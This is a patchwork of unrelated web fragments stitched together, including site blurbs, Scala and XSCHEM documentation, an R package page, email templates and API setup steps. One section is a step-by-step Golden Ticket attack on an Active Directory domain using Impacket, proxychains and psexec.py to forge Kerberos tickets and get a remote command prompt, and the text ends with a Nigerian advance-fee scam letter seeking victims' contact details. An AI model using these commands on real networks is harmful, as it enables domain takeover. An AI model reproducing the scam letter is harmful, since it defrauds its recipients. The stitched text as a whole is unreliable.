So, while Hachigo isn’t saying that EVs and AVs are a pipe dream, he does seem to recommend to temper your enthusiasm when it comes to them. 🏁


This attack requires a Linux host with the Impacket Library and proxychains installed. The host doesn’t need to be domain joined.
Forging the Ticket
To create a Golden Ticket, we need to have the following information from the target domain:
krbtgt account NT hash
domain SID
domain FQDN
user to impersonate
We will use Impacket’s example script ticketer.py to create the Golden Ticket credential cache (ccache) file. Here is an example of the syntax to create the ccache file for the user mbrody-da:
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da
To enable the Impacket example scripts to use the ccache file for authentication, rather than provided plaintext passwords or NT hashes, we need to set the KRB5CCNAME variable to the absolute path of our ccache file:
export KRB5CCNAME=/path/to/ccache/file
Verify the variable was set correctly:
echo $KRB5CCNAME
Now we can use the -k flag with any Impacket script that supports Kerberos authentication to use the Golden Ticket rather than providing plaintext passwords or NT hashes.
Name Resolution To ensure the Kerberos process functions, we need to modify the /etc/hosts file of our attacker machine to include entries for the FQDN of the target’s domain controller and the target host’s NetBIOS name. Here is an example:
If you don’t already have the IP address of the domain controller, run nslookup on the target domain’s FQDN via the SSH session on the target’s Linux host. For example:
nslookup -type=srv _ldap._tcp.AMITY.LOCAL
Proxychains
We’ll be using proxychains to route our traffic over the SSH tunnel. Verify the proxychains port by reviewing the last line of the configuration file, /etc/proxychains.conf by default on Kali.
Note: You may need to comment the proxy_dns setting in the proxychains configuration file if you are receiving name resolution issues when performing the attack.
When we SSH into the target’s Linux host, we’ll provide the -D flag with the proxychains port. This will create a SOCKS proxy on our localhost’s port that proxychains will route traffic through. For example:
ssh<EMAIL_ADDRESS>-D 1337
To validate that the tunnel is set up properly, we can run an nmap TCP connect scan with proxychains against port 445 of the target host:
proxychains nmap -sT -Pn -p445 <IP_ADDRESS>
Time Sync
Golden Ticket authentication won’t work properly if the attacking machine’s time is more than approximately five minutes off from the target domain’s DC. We can use net time to check the target’s time (line 1 below) and set the time on our attacker machine (line 2) if the delta exceeds five minutes:
proxychains net time -S <IP-of-DC>
proxychains net time set -S <IP-of-DC>
Launch the Attack
With all the pieces in place, we can use any tool that supports ccache authentication to attack the target host. One such tool is Impacket’s psexec.py example script. Running the following command will return an interactive CMD prompt:
proxychains ./psexec.py mbrody-da@WIN-RMJBTDB7QTF -k -no-pass
If you receive errors on launch, review the configuration of the dependencies and troubleshoot with psexec.py’s -debug flag.


Welcome to my home page.
How to write a Website Welcome Message
On your homepage, you need to make it obvious to your visitors:-
What your website offers them
What they can find and achieve on your website
You can achieve this in a number of ways:-
If it is not immediately obvious to your visitors what your website is about, you are going to need to write a welcome message which makes the purpose of your website clear.
If your website is simple, it may not be necessary to write a welcome message. You may be able to display some sample previews of your content which, in combination with your menu, will make it obvious to your visitors what they can find on your website.
The modern trend is towards the second option – with no formal welcome message or statement of purpose. However, when a site is complex, it becomes essential to explain to your users, in as few simple words as possible, what they can find on your site and how they can get started.
The key to writing a good welcome message is to make it focused on your users’ wants and needs, and make it extremely simple.
Before you read further, a good starting point can be to read four simple homepage tips.


Provides a short description that will be included when generating bean information.
Provides a display name when generating bean information.
This annotation indicates that a JavaBean-compliant BeanInfo class should be generated for this annotated Scala class.
This annotation indicates that bean information should not be generated for the val, var, or def that it is attached to.
When attached to a field, this annotation adds a setter and a getter method following the Java Bean convention.
This annotation has the same functionality as
scala.reflect.BeanProperty
, but the generated
Bean getter will be named isFieldName
instead
of getFieldName
.
A ClassManifest[T] is an opaque descriptor for type T.
A Manifest[T] is an opaque descriptor for type T.
A OptManifest[T]
is an optional Manifest
.
Provides some simple runtime processing necessary to create JavaBean descriptors for Scala entities.
The object ClassManifest defines factory methods for manifests.
The object Manifest defines factory methods for manifests.
One of the branches of an OptManifest


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Simple one-page business website for a real estate agent. Includes a bio, photo slider, contact form and Google map. Responsively optimized for screens of all sizes. View Full Site Here


Bubae's Portfolio
I'm Nigerian. I was born on the 23rd of July and I'm a Leo. I'm very patient and tolerant, and I don't get mad often. I'm 5'5.5" and I'm dark skinned.
I have worked on a robotics team at my university. I and four others made an application to aid finaicial literacy in the US. I am on an augmented reality research group currently creating avatars for Mozilla Hubs
College Map
Place the icon at your college campus. I go to Georgia Tech !
Personalized Quote
Click here to see the personalized quote:


SIMULATION
- In XSCHEM a schematic usually contains all the details needed to run a simulation.
- When a schematic is correctly drawn just generate the netlist pushing the Netlist button, and then start simulation
by pressing the Simulate button.
- XSCHEM has bindings to waveform viewers as well as simulators. Press the Waves button after simulation
is completed to view the results.
TOOL TYPE XSCHEM
SUPPORT
ngspice Simulator Works
Xyce Parallel
Simulator Works
Icarus Verilog Simulator Works
GHDL Simulator Works
ModelSim Proprietary
Simulator Works
NcSim Proprietary
Simulator Works
TOOL TYPE XSCHEM
SUPPORT
Hspice Proprietary
Simulator Works
Finesim Proprietary
Simulator Works
Gtkwave Viewer Works
Gaw Viewer Works
Waveview Proprietary
Viewer Works
- With proper netlisting attributes on leaf cells the same design can be simulated unchanged in Spice, Verilog, VHDL.
- DC Operating point information back-annotation into the schematic is possible.
| TOOL | TYPE | XSCHEM SUPPORT |
|---|---|---|
| ngspice | Simulator | Works |
| Xyce | Parallel Simulator | Works |
| Icarus Verilog | Simulator | Works |
| GHDL | Simulator | Works |
| ModelSim | Proprietary Simulator | Works |
| NcSim | Proprietary Simulator | Works |
| TOOL | TYPE | XSCHEM SUPPORT |
|---|---|---|
| Hspice | Proprietary Simulator | Works |
| Finesim | Proprietary Simulator | Works |
| Gtkwave | Viewer | Works |
| Gaw | Viewer | Works |
| Waveview | Proprietary Viewer | Works |


Dear {{data.object.firstname}},
Our records indicate that a loan disbursement was made on your student account.
Please log into my.carthage.edu, click on tthe finance tab, and review your account.
If you have any questions please call<PHONE_NUMBER> or email at<EMAIL_ADDRESS>Sincerely,
Financial Aid Office
{% if data.test %} email = {{data.email}} {% endif %}


Getting Started
If you are Getting started, there are a few required steps to follow, if not skip this part.
- Go to the Google Cloud Console
- Click on: Select a project
- Click on: Create a new project
- Name it: Youtube Playlists and click on CREATE
- In the research bar enter Youtube Data API v3
- Click on the button ENABLE
- On the left Navigation bar, click on Credentials
- Click on: CREATE CREDENTIALS
- Select: API Key. The creation of this credential should be instantaneous and be displayed in the
list
of credentials below.
- When this is done, click again on: CREATE CREDENTIALS and this time choose: OAuth client
ID
- In the OAuth consent screen page: choose the External option and click on CREATE
- The OAuth consent screen page will continue, just name the application: Youtube Playlists and
click
on Save
- You will need to click on: CREATE CREDENTIALS -> OAuth client ID another time
- This time you will be redirected to the: Create OAuth client ID page. Choose Desktop app
as the Application type and you should be done with the creation of credentials
- Download the file of OAuth 2.0 Clients IDs which should be name Desktop client 1


Implementation of evolutionary fuzzy systems for the data mining task called "subgroup discovery". It also provide a Shiny App for make the analysis easier. The algorithms works with data sets provided in KEEL, ARFF and CSV format and also with data.frame objects.
| Version: | <IP_ADDRESS> |
| Depends: | R (≥ 3.0.0) |
| Imports: | grDevices, methods, parallel, stats, utils |
| Suggests: | ggplot2, knitr, shiny (≥ 0.11) |
| Published: | 2016-07-13 |
| Author: | Angel M. Garcia [aut, cre], Pedro Gonzalez [aut, cph], Cristobal J. Carmona [aut, cph], Francisco Charte [ctb], Maria J. del Jesus [aut, cph] |
| Maintainer: | Angel M. Garcia <amgv0009 at red.ujaen.es> |
| License: | LGPL (≥ 3) | file LICENSE |
| URL: | https://github.com/aklxao2/SDR |
| NeedsCompilation: | no |
| Materials: | NEWS |
| CRAN checks: | SDEFSR results |
| Reference manual: | SDEFSR.pdf |
| Vignettes: |
Subgroup Discovery with Evolutionary Fuzzy Systems in R: the SDEFSR Package |
| Package source: | SDEFSR_<IP_ADDRESS>.tar.gz |
| Windows binaries: | r-devel: SDEFSR_<IP_ADDRESS>.zip, r-release: SDEFSR_<IP_ADDRESS>.zip, r-oldrel: SDEFSR_<IP_ADDRESS>.zip |
| OS X binaries: | r-release: SDEFSR_<IP_ADDRESS>.tgz, r-oldrel: SDEFSR_<IP_ADDRESS>.tgz |
Please use the canonical form https://CRAN.R-project.org/package=SDEFSR to link to this page.


You can now email me at<EMAIL_ADDRESS>URGENT ATTENTION!!!
FROM THE DESK OF:
DR.ERIK MADU.
ACCOUNTANT.
UNION BANK OF NIG. PLC.,
V/ISLAND LAGOS.
ATTN:SIR/MA
I am Dr.Erik Madu. an accountant with the UNION BANK OF NIG. PLC
and I need your assistance in remmitting a huge amount of money to
your bank account this money which originally belonged to Mr. Charles
Fredrick a national of your country who until his death was an employee
with Shell Oil Company in Nigeria,he died in Plane Crash with
members of his families 5 years ago,since then we have made several
enquiries to your embassy to locate any of the extended relatives and
this has proved unsuccessful.
After several unsuccessful attempts I decided to track your name over
the Internet to locate any member of his family. I have contacted you
to assist me in repatriating the money left behind by Mr.Charles Fredrick, before the bank will
declares it unserviceable.
Note that after final discusions with one of my superior in the TELEX
DEPARTMENT we arrived at contacting you as the next of kin to claim
this fund to your nominated bank account before the account is
declared confiscated,note also that this transfer will be concluded
within the next (7) seven official working days.
I seek your consent to present you as the next of kin to the deceased
so that the $15million dollars can be remmitted to your account and
then we can share the money,25
% to you and 70% for us, while 5%
will take care of all expenses that might be incured on the cause of the
transfer. All I require is your honest co-operation to enable us see
this deal through.
I advise that you send across to me your contact address,direct phone
and fax number for prompt communication, and I guarantee you that this
transaction will be executed under a legitimate atmosphere that will
protect you from any breach of transaction / law. Call me on my number +234-1-776-8029
Regards,
DR.ERIK MADU.
ACCOUNTANT.
(UNION BANK OF NIG. PLC).
- erik mmadu